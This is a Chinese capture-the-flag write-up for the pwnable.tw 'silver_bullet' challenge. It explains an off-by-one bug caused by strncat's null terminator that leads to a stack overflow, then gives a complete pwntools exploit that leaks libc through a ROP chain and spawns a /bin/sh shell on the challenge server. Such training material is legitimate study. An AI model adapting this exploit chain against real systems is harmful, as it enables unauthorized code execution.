pwnable tw silver-bullet

0x00 前言

一道32位rop题,里面有个off-by-one的细节,这次没有注意,下次一定好好看

0x01 漏洞分析

power_up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(&s, 0, 0x30u);
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 - *((_DWORD *)dest + 12));
strncat(dest, &s, 48 - *((_DWORD *)dest + 12));
v3 = strlen(&s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
}

漏洞的关键在于strncat(dest, &s, 48 - *((_DWORD *)dest + 12));,这个函数会在拼接后在结尾再加一个\x00,所以就会把dest+12中的内容覆盖成0,因此下一次调用power_up仍然能够拼接,所以造成了栈溢出.

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
debug = 0

if debug:
sh = process('./silver_bullet')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
gdb.attach(sh)
context.log_level = 'debug'
else:
sh = remote('chall.pwnable.tw',10103)
libc = ELF('./libc_32.so.6')

sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Give me your description of bullet :')
sh.sendline('a'*40)

sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Give me your another description of bullet :')
sh.sendline('b'*8)

sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Give me your another description of bullet :')
puts_plt = 0x80484A8
puts_got = 0x804afdc
start = 0x8048954
payload = p32(0x7FFFFFFF) +'\xff'*3+ p32(puts_plt) + p32(start) + p32(puts_got)
sh.sendline(payload)

sh.recvuntil('Your choice :')
sh.sendline('3')
sh.recvuntil('Oh ! You win !!\n')
libc_base = u32(sh.recv(4)) - libc.symbols['puts']
log.success('libc_base: ' + hex(libc_base))

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()

log.success('system: ' + hex(system_addr))
log.success('binsh: ' + hex(binsh_addr))

sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Give me your description of bullet :')
sh.sendline('a'*47)

sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Give me your another description of bullet :')
sh.sendline('b'*1)

sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Give me your another description of bullet :')
payload = '\xff'*7 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)

sh.recvuntil('Your choice :')
sh.sendline('3')

sh.interactive()
-------------本文结束感谢您的阅读-------------
+ +